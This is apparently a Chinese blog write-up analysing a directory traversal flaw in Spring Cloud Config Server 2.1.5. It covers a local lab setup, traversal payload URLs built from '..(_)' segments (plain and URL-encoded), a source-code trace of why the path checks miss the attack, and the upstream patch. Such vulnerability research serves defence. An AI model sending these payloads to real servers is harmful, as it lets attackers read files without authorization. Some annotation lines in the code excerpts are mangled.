Spring Cloud Config微服务架构的配置中心,为各个不同服务提供了一个中心化的外部配置。不适用本地配置是因为集群间不方便管理,需要一个平台,通常是从github等平台拉取配置。之前在字节工作,他们用的TCC平台,也是一个类似Spring Cloud Config的配置中心
Spring Cloud Config分为服务端和客户端两部分:
这个漏洞不是RCE,是目录遍历,不算高危
从github下载spring-cloud-config模块:https://github.com/spring-cloud/spring-cloud-config/archive/v2.1.5.RELEASE.zip
导入IDEA其中的spring-cloud-config-server
模块,Maven+SpringBoot项目
修改配置文件src/main/resources/configserver.yml
,主要是设置profiles.active
为native
,设置search-locations
为任意文件夹
xxxxxxxxxx
info
component Config Server
spring
application
name configserver
autoconfigure.exclude org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration
jmx
default_domain cloud.config.server
profiles
active native
cloud
config
server
native
search-locations
file:///D:/Code
server
port8888
management
context_path /admin
从ConfigServerApplication
类启动,访问localhost:8888
手动在D:/Code下创建一个key.txt,尝试读取这个文件
Payload:
http://127.0.0.1:8888/1/1/..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)Code/key.txt
http://127.0.0.1:8888/1/1/..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29Code/key.txt
(编码后)
Config Server通过路径/{name}/{profile}/{label}/{path}
对外提供配置文件,POC会通过路由到这个接口,参考org\springframework\cloud\config\server\resource\ResourceController.java
xxxxxxxxxx
"/{name}/{profile}/{label}/**") (
public String retrieve( String name, String profile,
String label, ServletWebRequest request,
defaultValue = "true") boolean resolvePlaceholders) (
throws IOException {
String path = getFilePath(request, name, profile, label);
return retrieve(request, name, profile, label, path, resolvePlaceholders);
}
下断点查看这一步的name和profile等变量分别是什么
Payload:
/1/1/..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)Code/key.txt
不难看出getFilePath方法作用是解析**为key.txt
xxxxxxxxxx
private String getFilePath(ServletWebRequest request, String name, String profile,
String label) {
String stem;
if (label != null) {
stem = String.format("/%s/%s/%s/", name, profile, label);
}
else {
stem = String.format("/%s/%s/", name, profile);
}
String path = this.helper.getPathWithinApplication(request.getRequest());
path = path.substring(path.indexOf(stem) + stem.length());
return path;
}
最后调用retrieve方法
xxxxxxxxxx
synchronized String retrieve(ServletWebRequest request, String name, String profile,
String label, String path, boolean resolvePlaceholders) throws IOException {
name = resolveName(name);
label = resolveLabel(label);
Resource resource = this.resourceRepository.findOne(name, profile, label, path);
......
其中的resolveName和resolveLabel方法作用一致,都是将(_)
换成/
xxxxxxxxxx
private String resolveName(String name) {
if (name != null && name.contains("(_)")) {
// "(_)" is uncommon in a git repo name, but "/" cannot be matched
// by Spring MVC
name = name.replace("(_)", "/");
}
return name;
}
所以到达findOne方法这里:
xxxxxxxxxx
public synchronized Resource findOne(String application, String profile, String label,
String path) {
if (StringUtils.hasText(path)) {
String[] locations = this.service.getLocations(application, profile, label)
.getLocations();
try {
for (int i = locations.length; i-- > 0;) {
String location = locations[i];
for (String local : getProfilePaths(profile, path)) {
if (!isInvalidPath(local) && !isInvalidEncodedPath(local)) {
Resource file = this.resourceLoader.getResource(location)
.createRelative(local);
if (file.exists() && file.isReadable()) {
return file;
}
}
}
}
}
......
this.service.getLocations
方法应该是调用配置文件并重新拼接,最终得到两个路径,其中第1(2)个是我们的payload
后面的getProfilePaths
方法是根据profile
构造文件路径。这个主要是参照日常习惯,比如开发配置文件会命名为confg-dev.yaml
这样
其实程序做了非法路径的判断:isInvalidPath
,不过它校验的path,而我们的path是key.txt
,不是违法的路径
xxxxxxxxxx
protected boolean isInvalidPath(String path) {
if (path.contains("WEB-INF") || path.contains("META-INF")) {
if (logger.isWarnEnabled()) {
logger.warn("Path with \"WEB-INF\" or \"META-INF\": [" + path + "]");
}
return true;
}
if (path.contains(":/")) {
String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
if (logger.isWarnEnabled()) {
logger.warn(
"Path represents URL or has \"url:\" prefix: [" + path + "]");
}
return true;
}
}
if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {
if (logger.isWarnEnabled()) {
logger.warn("Path contains \"../\" after call to StringUtils#cleanPath: ["
+ path + "]");
}
return true;
}
return false;
}
另一个编码校验自然也无效
xxxxxxxxxx
private boolean isInvalidEncodedPath(String path) {
if (path.contains("%")) {
try {
// Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8
// chars
String decodedPath = URLDecoder.decode(path, "UTF-8");
if (isInvalidPath(decodedPath)) {
return true;
}
decodedPath = processPath(decodedPath);
if (isInvalidPath(decodedPath)) {
return true;
}
}
catch (IllegalArgumentException | UnsupportedEncodingException ex) {
// Should never happen...
}
}
return false;
}
最后通过this.resourceLoader.getResource(location).createRelative(local);
加载了本地文件,这个没必要跟踪,已经确认了过程
补丁:https://github.com/spring-cloud/spring-cloud-config/commit/651f458919c40ef9a5e93e7d76bf98575910fad0
补丁对location进行了验证,而不只是简单地对path做验证
实际中也确实应该对最后一步的输入进行判断,而不只是对过程进行判断
xxxxxxxxxx
private boolean isInvalidLocation(String location) {
boolean isInvalid = location.contains("..");
if (isInvalid && logger.isWarnEnabled()) {
logger.warn("Location contains \"..\"");
}
return isInvalid;
}